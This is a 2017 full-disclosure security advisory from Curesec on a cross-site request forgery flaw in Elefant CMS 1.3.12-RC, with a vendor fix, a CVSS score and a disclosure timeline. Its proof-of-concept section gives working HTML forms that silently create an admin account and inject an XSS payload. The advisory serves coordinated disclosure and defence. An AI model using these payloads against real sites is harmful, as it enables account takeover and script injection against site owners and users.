full-disclosure - [FD] Elefant CMS 1.3.12-RC: CSRF

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Date: Thu, 16 Feb 2017 12:23:57 +0100
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] Elefant CMS 1.3.12-RC: CSRF

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:  Elefant CMS 1.3.12-RC
Fixed in:          1.3.13
Fixed Version      https://github.com/jbroadway/elefant/releases/tag/
Link:              elefant_1_3_13_rc
Vendor Website:    https://www.elefantcms.com/
Vulnerability      CSRF
Type:
Remote             Yes
Exploitable:
Reported to        09/05/2016
vendor:
Disclosed to       02/02/2017
public:
Release mode:      Coordinated Release
CVE:               n/a (not requested)
Credits            Tim Coen of Curesec GmbH

2. Overview

Elefant is a content managment system written in PHP. In version 1.3.12-RC, it
is vulnerable to cross site request forgery. If a victim visits a website that
contains specifically crafted code while logged into Elefant, an attacker can
for example create a new admin account without the victims knowledge.

3. Details

CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

There is no CSRF protection for various components, allowing among other the
creation of new admin accounts or XSS attacks.

Proof of Concept:

Create New Admin: <html> <body> <form action="http://localhost/user/add" method
="POST"> <input type="hidden" name="name" value="admin3" /> <input type=
"hidden" name="email" value="admin3@...mple.com" /> <input type="hidden" name=
"password" value="admin3" /> <input type="hidden" name="verify_pass" value=
"admin3" /> <input type="hidden" name="type" value="admin" /> <input type=
"hidden" name="company" value="" /> <input type="hidden" name="title" value=""
/> <input type="hidden" name="website" value="" /> <input type="hidden" name=
"photo" value="" /> <input type="hidden" name="about" value="" /> <input type=
"hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" />
<input type="hidden" name="address" value="" /> <input type="hidden" name=
"address2" value="" /> <input type="hidden" name="city" value="" /> <input type
="hidden" name="state" value="" /> <input type="hidden" name="country" value=""
/> <input type="hidden" name="zip" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html> XSS: <html> <body> <form action=
"http://localhost/designer/preview" method="POST"> <input type="hidden" name=
"layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>

4. Solution

To mitigate this issue please upgrade at least to version 1.3.13.

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue, Vendor announces fix
11/07/2016 Asked Vendor if recent releases fixes issues, Vendor confirmed
02/02/2017 Disclosed to public

Blog Reference:
https://www.curesec.com/blog/article/blog/Elefant-CMS-1312-RC-CSRF-189.html

--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany

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